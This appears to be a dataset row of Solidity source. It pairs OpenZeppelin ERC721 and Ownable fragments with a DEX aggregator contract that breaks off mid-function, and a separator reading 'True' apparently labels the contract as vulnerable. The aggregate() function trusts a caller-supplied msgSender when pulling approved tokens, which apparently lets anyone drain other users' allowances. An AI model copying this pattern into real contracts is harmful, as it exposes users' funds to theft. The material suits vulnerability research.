* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
} | True | [
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|
pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
interface IGST2 {
function freeUpTo(uint256 value) external returns (uint256 freed);
function freeFromUpTo(address from, uint256 value) external returns (uint256 freed);
function balanceOf(address who) external view returns (uint256);
}
// solhint-disable max-line-length
contract LibConstants {
// Asset data for ZRX token. Used for fee transfers.
// The proxyId for ZRX_ASSET_DATA is bytes4(keccak256("ERC20Token(address)")) = 0xf47261b0
// Kovan ZRX address is 0x6ff6c0ff1d68b964901f986d4c9fa3ac68346570.
// The ABI encoded proxyId and address is 0xf47261b00000000000000000000000006ff6c0ff1d68b964901f986d4c9fa3ac68346570
// bytes constant public ZRX_ASSET_DATA = "\xf4\x72\x61\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6f\xf6\xc0\xff\x1d\x68\xb9\x64\x90\x1f\x98\x6d\x4c\x9f\xa3\xac\x68\x34\x65\x70";
// Mainnet ZRX address is 0xe41d2489571d322189246dafa5ebde1f4699f498.
// The ABI encoded proxyId and address is 0xf47261b0000000000000000000000000e41d2489571d322189246dafa5ebde1f4699f498
bytes constant public ZRX_ASSET_DATA = "\xf4\x72\x61\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x1d\x24\x89\x57\x1d\x32\x21\x89\x24\x6d\xaf\xa5\xeb\xde\x1f\x46\x99\xf4\x98";
}
// solhint-enable max-line-length
contract LibFillResults
{
struct FillResults {
uint256 makerAssetFilledAmount; // Total amount of makerAsset(s) filled.
uint256 takerAssetFilledAmount; // Total amount of takerAsset(s) filled.
uint256 makerFeePaid; // Total amount of ZRX paid by maker(s) to feeRecipient(s).
uint256 takerFeePaid; // Total amount of ZRX paid by taker to feeRecipients(s).
}
struct MatchedFillResults {
FillResults left; // Amounts filled and fees paid of left order.
FillResults right; // Amounts filled and fees paid of right order.
uint256 leftMakerAssetSpreadAmount; // Spread between price of left and right order, denominated in the left order's makerAsset, paid to taker.
}
}
contract LibOrder
{
// Hash for the EIP712 Order Schema
bytes32 constant internal EIP712_ORDER_SCHEMA_HASH = keccak256(abi.encodePacked(
"Order(",
"address makerAddress,",
"address takerAddress,",
"address feeRecipientAddress,",
"address senderAddress,",
"uint256 makerAssetAmount,",
"uint256 takerAssetAmount,",
"uint256 makerFee,",
"uint256 takerFee,",
"uint256 expirationTimeSeconds,",
"uint256 salt,",
"bytes makerAssetData,",
"bytes takerAssetData",
")"
));
// A valid order remains fillable until it is expired, fully filled, or cancelled.
// An order's state is unaffected by external factors, like account balances.
enum OrderStatus {
INVALID, // Default value
INVALID_MAKER_ASSET_AMOUNT, // Order does not have a valid maker asset amount
INVALID_TAKER_ASSET_AMOUNT, // Order does not have a valid taker asset amount
FILLABLE, // Order is fillable
EXPIRED, // Order has already expired
FULLY_FILLED, // Order is fully filled
CANCELLED // Order has been cancelled
}
// solhint-disable max-line-length
struct Order {
address makerAddress; // Address that created the order.
address takerAddress; // Address that is allowed to fill the order. If set to 0, any address is allowed to fill the order.
address feeRecipientAddress; // Address that will recieve fees when order is filled.
address senderAddress; // Address that is allowed to call Exchange contract methods that affect this order. If set to 0, any address is allowed to call these methods.
uint256 makerAssetAmount; // Amount of makerAsset being offered by maker. Must be greater than 0.
uint256 takerAssetAmount; // Amount of takerAsset being bid on by maker. Must be greater than 0.
uint256 makerFee; // Amount of ZRX paid to feeRecipient by maker when order is filled. If set to 0, no transfer of ZRX from maker to feeRecipient will be attempted.
uint256 takerFee; // Amount of ZRX paid to feeRecipient by taker when order is filled. If set to 0, no transfer of ZRX from taker to feeRecipient will be attempted.
uint256 expirationTimeSeconds; // Timestamp in seconds at which order expires.
uint256 salt; // Arbitrary number to facilitate uniqueness of the order's hash.
bytes makerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring makerAsset. The last byte references the id of this proxy.
bytes takerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring takerAsset. The last byte references the id of this proxy.
}
// solhint-enable max-line-length
struct OrderInfo {
uint8 orderStatus; // Status that describes order's validity and fillability.
bytes32 orderHash; // EIP712 hash of the order (see LibOrder.getOrderHash).
uint256 orderTakerAssetFilledAmount; // Amount of order that has already been filled.
}
}
contract IExchangeCore {
/// @dev Cancels all orders created by makerAddress with a salt less than or equal to the targetOrderEpoch
/// and senderAddress equal to msg.sender (or null address if msg.sender == makerAddress).
/// @param targetOrderEpoch Orders created with a salt less or equal to this value will be cancelled.
function cancelOrdersUpTo(uint256 targetOrderEpoch)
external;
/// @dev Fills the input order.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function fillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
returns (LibFillResults.FillResults memory fillResults);
/// @dev After calling, the order can not be filled anymore.
/// @param order Order struct containing order specifications.
function cancelOrder(LibOrder.Order memory order)
public;
/// @dev Gets information about an order: status, hash, and amount filled.
/// @param order Order to gather information on.
/// @return OrderInfo Information about the order and its state.
/// See LibOrder.OrderInfo for a complete description.
function getOrderInfo(LibOrder.Order memory order)
public
view
returns (LibOrder.OrderInfo memory orderInfo);
}
contract IAssetProxyDispatcher {
/// @dev Registers an asset proxy to its asset proxy id.
/// Once an asset proxy is registered, it cannot be unregistered.
/// @param assetProxy Address of new asset proxy to register.
function registerAssetProxy(address assetProxy)
external;
/// @dev Gets an asset proxy.
/// @param assetProxyId Id of the asset proxy.
/// @return The asset proxy registered to assetProxyId. Returns 0x0 if no proxy is registered.
function getAssetProxy(bytes4 assetProxyId)
external
view
returns (address);
}
contract IMatchOrders {
/// @dev Match two complementary orders that have a profitable spread.
/// Each order is filled at their respective price point. However, the calculations are
/// carried out as though the orders are both being filled at the right order's price point.
/// The profit made by the left order goes to the taker (who matched the two orders).
/// @param leftOrder First order to match.
/// @param rightOrder Second order to match.
/// @param leftSignature Proof that order was created by the left maker.
/// @param rightSignature Proof that order was created by the right maker.
/// @return matchedFillResults Amounts filled and fees paid by maker and taker of matched orders.
function matchOrders(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
bytes memory leftSignature,
bytes memory rightSignature
)
public
returns (LibFillResults.MatchedFillResults memory matchedFillResults);
}
contract IWrapperFunctions {
/// @dev Fills the input order. Reverts if exact takerAssetFillAmount not filled.
/// @param order LibOrder.Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
function fillOrKillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
returns (LibFillResults.FillResults memory fillResults);
/// @dev Fills an order with specified parameters and ECDSA signature.
/// Returns false if the transaction would otherwise revert.
/// @param order LibOrder.Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function fillOrderNoThrow(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
returns (LibFillResults.FillResults memory fillResults);
/// @dev Synchronously executes multiple calls of fillOrder.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Amounts filled and fees paid by makers and taker.
function batchFillOrders(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Synchronously executes multiple calls of fillOrKill.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Amounts filled and fees paid by makers and taker.
function batchFillOrKillOrders(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Fills an order with specified parameters and ECDSA signature.
/// Returns false if the transaction would otherwise revert.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Amounts filled and fees paid by makers and taker.
function batchFillOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Synchronously executes multiple calls of fillOrder until total amount of takerAsset is sold by taker.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signatures Proofs that orders have been created by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketSellOrders(
LibOrder.Order[] memory orders,
uint256 takerAssetFillAmount,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Synchronously executes multiple calls of fillOrder until total amount of takerAsset is sold by taker.
/// Returns false if the transaction would otherwise revert.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketSellOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256 takerAssetFillAmount,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Synchronously executes multiple calls of fillOrder until total amount of makerAsset is bought by taker.
/// @param orders Array of order specifications.
/// @param makerAssetFillAmount Desired amount of makerAsset to buy.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketBuyOrders(
LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Synchronously executes multiple fill orders in a single transaction until total amount is bought by taker.
/// Returns false if the transaction would otherwise revert.
/// @param orders Array of order specifications.
/// @param makerAssetFillAmount Desired amount of makerAsset to buy.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketBuyOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Synchronously cancels multiple orders in a single transaction.
/// @param orders Array of order specifications.
function batchCancelOrders(LibOrder.Order[] memory orders)
public;
/// @dev Fetches information for all passed in orders
/// @param orders Array of order specifications.
/// @return Array of OrderInfo instances that correspond to each order.
function getOrdersInfo(LibOrder.Order[] memory orders)
public
view
returns (LibOrder.OrderInfo[] memory);
}
// solhint-disable no-empty-blocks
contract IZrxExchange is
IExchangeCore,
IMatchOrders,
IAssetProxyDispatcher,
IWrapperFunctions
{}
library ExternalCall {
// Source: https://github.com/gnosis/MultiSigWallet/blob/master/contracts/MultiSigWallet.sol
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function externalCall(address destination, uint value, bytes memory data, uint dataOffset, uint dataLength) internal returns(bool result) {
// solium-disable-next-line security/no-inline-assembly
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
add(d, dataOffset),
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
}
}
contract CompressedCaller {
function compressedCall(
address target,
uint256 totalLength,
bytes memory zipped
)
public
payable
returns (bytes memory result)
{
(bytes memory data, uint decompressedLength) = decompress(totalLength, zipped);
require(decompressedLength == totalLength, "Uncompress error");
bool success;
(success, result) = target.call.value(msg.value)(data);
require(success, "Decompressed call failed");
}
function decompress(
uint256 totalLength,
bytes memory zipped
)
public
pure
returns (
bytes memory data,
uint256 index
)
{
data = new bytes(totalLength);
for (uint i = 0; i < zipped.length; i++) {
uint len = uint(uint8(zipped[i]) & 0x7F);
if ((zipped[i] & 0x80) == 0) {
memcpy(data, index, zipped, i + 1, len);
i += len;
}
index += len;
}
}
//
// Modified version of:
// https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol#L45
//
function memcpy(
bytes memory destMem,
uint dest,
bytes memory srcMem,
uint src,
uint len
)
private
pure
{
uint mask = 256 ** (32 - len % 32) - 1;
assembly {
dest := add(add(destMem, 32), dest)
src := add(add(srcMem, 32), src)
// Copy word-length chunks while possible
for { } gt(len, 31) { len := sub(len, 32) } { // (!<) is the same as (>=)
mstore(dest, mload(src))
dest := add(dest, 32)
src := add(src, 32)
}
// Copy remaining bytes
let srcPart := and(mload(src), not(mask))
let destPart := and(mload(dest), mask)
mstore(dest, or(destPart, srcPart))
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
contract TokenSpender is Ownable {
using SafeERC20 for IERC20;
function claimTokens(IERC20 token, address who, address dest, uint256 amount) external onlyOwner {
token.safeTransferFrom(who, dest, amount);
}
}
contract AggregatedTokenSwap is CompressedCaller {
using SafeERC20 for IERC20;
using SafeMath for uint;
using ExternalCall for address;
address constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
TokenSpender public spender;
IGST2 gasToken;
address payable owner;
uint fee; // 10000 => 100%, 1 => 0.01%
event OneInchFeePaid(
IERC20 indexed toToken,
address indexed referrer,
uint256 fee
);
modifier onlyOwner {
require(
msg.sender == owner,
"Only owner can call this function."
);
_;
}
constructor(
address payable _owner,
IGST2 _gasToken,
uint _fee
)
public
{
spender = new TokenSpender();
owner = _owner;
gasToken = _gasToken;
fee = _fee;
}
function setFee(uint _fee) public onlyOwner {
require(_fee <= 20, "Fee should not exceed 0.2%"); // <= 0.2%
fee = _fee;
}
function aggregate(
address payable msgSender,
IERC20 fromToken,
IERC20 toToken,
uint tokensAmount,
address[] memory callAddresses,
bytes memory callDataConcat,
uint[] memory starts,
uint[] memory values,
uint mintGasPrice,
uint minTokensAmount,
address payable referrer
)
public
payable
returns (uint returnAmount)
{
returnAmount = gasleft();
uint gasTokenBalance = gasToken.balanceOf(address(this));
require(callAddresses.length + 1 == starts.length);
if (address(fromToken) != ETH_ADDRESS) {
spender.claimTokens(fromToken, msgSender, address(this), tokensAmount);
}
for (uint i = 0; i < starts.length - 1; i++) {
if (starts[i + 1] - starts[i] > 0) {
require(
callDataConcat[starts[i] + 0] != spender.claimTokens.selector[0] ||
callDataConcat[starts[i] + 1] != spender.claimTokens.selector[1] ||
callDataConcat[starts[i] + 2] != spender.claimTokens.selector[2] ||
callDataConcat[starts[i] + 3] != spender.claimTokens.selector[3]
);
require(callAddresses[i].externalCall(values[i], callDataConcat, starts[i], starts[i + 1] - starts[i]));
}
}
require(_balanceOf(toToken, address(this)) >= minTokensAmount);
//
require(gasTokenBalance == gasToken.balanceOf(address(this)));
if (mintGasPrice > 0) {
audoRefundGas(returnAmount, mintGasPrice);
}
//
returnAmount = _balanceOf(toToken, address(this)) * fee / 10000;
if (referrer != address(0)) {
returnAmount /= 2;
if (!_transfer(toToken, referrer, returnAmount, true)) {
returnAmount *= 2;
emit OneInchFeePaid(toToken, address(0), returnAmount);
} else {
emit OneInchFeePaid(toToken, referrer, returnAmount / 2);
}
}
_transfer(toToken, owner, returnAmount, false);
returnAmount = _balanceOf(toToken, address(this));
_transfer(toToken, msgSender, returnAmount, false);
}
function infiniteApproveIfNeeded(IERC20 token, address to) external {
if (
address(token) != ETH_ADDRESS &&
token.allowance(address(this), to) == 0
) {
token.safeApprove(to, uint256(-1));
}
}
function withdrawAllToken(IWETH token) external {
uint256 amount = token.balanceOf(address(this));
token.withdraw(amount);
}
function marketSellOrders(
IERC20 token,
IZrxExchange zrxExchange,
LibOrder.Order[] calldata orders,
bytes[] calldata signatures,
uint256 mul,
uint256 div
)
external
{
uint256 amount = token.balanceOf(address(this)).mul(mul).div(div);
zrxExchange.marketSellOrders(orders, amount, signatures);
}
function _balanceOf(IERC20 token, address who) internal view returns(uint256) {
if (address(token) == ETH_ADDRESS || token == IERC20(0)) {
return who.balance;
} else {
return token.balanceOf(who);
}
}
function _transfer(IERC20 token, address payable to, uint256 amount, bool allowFail) internal returns(bool) {
if (address(token) == ETH_ADDRESS || token == IERC20(0)) {
if (allowFail) {
return to.send(amount);
} else {
to.transfer(amount);
return true;
}
} else {
token.safeTransfer(to, amount);
return true;
}
}
function audoRefundGas(
uint startGas,
uint mintGasPrice
)
private
returns (uint freed)
{
uint MINT_BASE = 32254;
uint MINT_TOKEN = 36543;
uint FREE_BASE = 14154;
uint FREE_TOKEN = 6870;
uint REIMBURSE = 24000;
uint tokensAmount = ((startGas - gasleft()) + FREE_BASE) / (2 * REIMBURSE - FREE_TOKEN);
uint maxReimburse = tokensAmount * REIMBURSE;
uint mintCost = MINT_BASE + (tokensAmount * MINT_TOKEN);
uint freeCost = FREE_BASE + (tokensAmount * FREE_TOKEN);
uint efficiency = (maxReimburse * 100 * tx.gasprice) / (mintCost * mintGasPrice + freeCost * tx.gasprice);
if (efficiency > 100) {
return refundGas(
tokensAmount
);
} else {
return 0;
}
}
function refundGas(
uint tokensAmount
)
private
returns (uint freed)
{
if (tokensAmount > 0) {
uint safeNumTokens = 0;
uint gas = gasleft();
if (gas >= 27710) {
safeNumTokens = (gas - 27710) / (1148 + 5722 + 150);
}
if (tokensAmount > safeNumTokens) {
tokensAmount = safeNumTokens;
}
uint gasTokenBalance = IERC20(address(gasToken)).balanceOf(address(this));
if (tokensAmount > 0 && gasTokenBalance >= tokensAmount) {
return gasToken.freeUpTo(tokensAmount);
} else {
return 0;
}
} else {
return 0;
}
}
function() external payable {
if (msg.value == 0 && msg.sender == owner) {
IERC20 _gasToken = IERC20(address(gasToken));
owner.transfer(address(this).balance);
_gasToken.safeTransfer(owner, _gasToken.balanceOf(address(this)));
}
}
function getOrdersInfoRespectingBalancesAndAllowances(
IERC20 token,
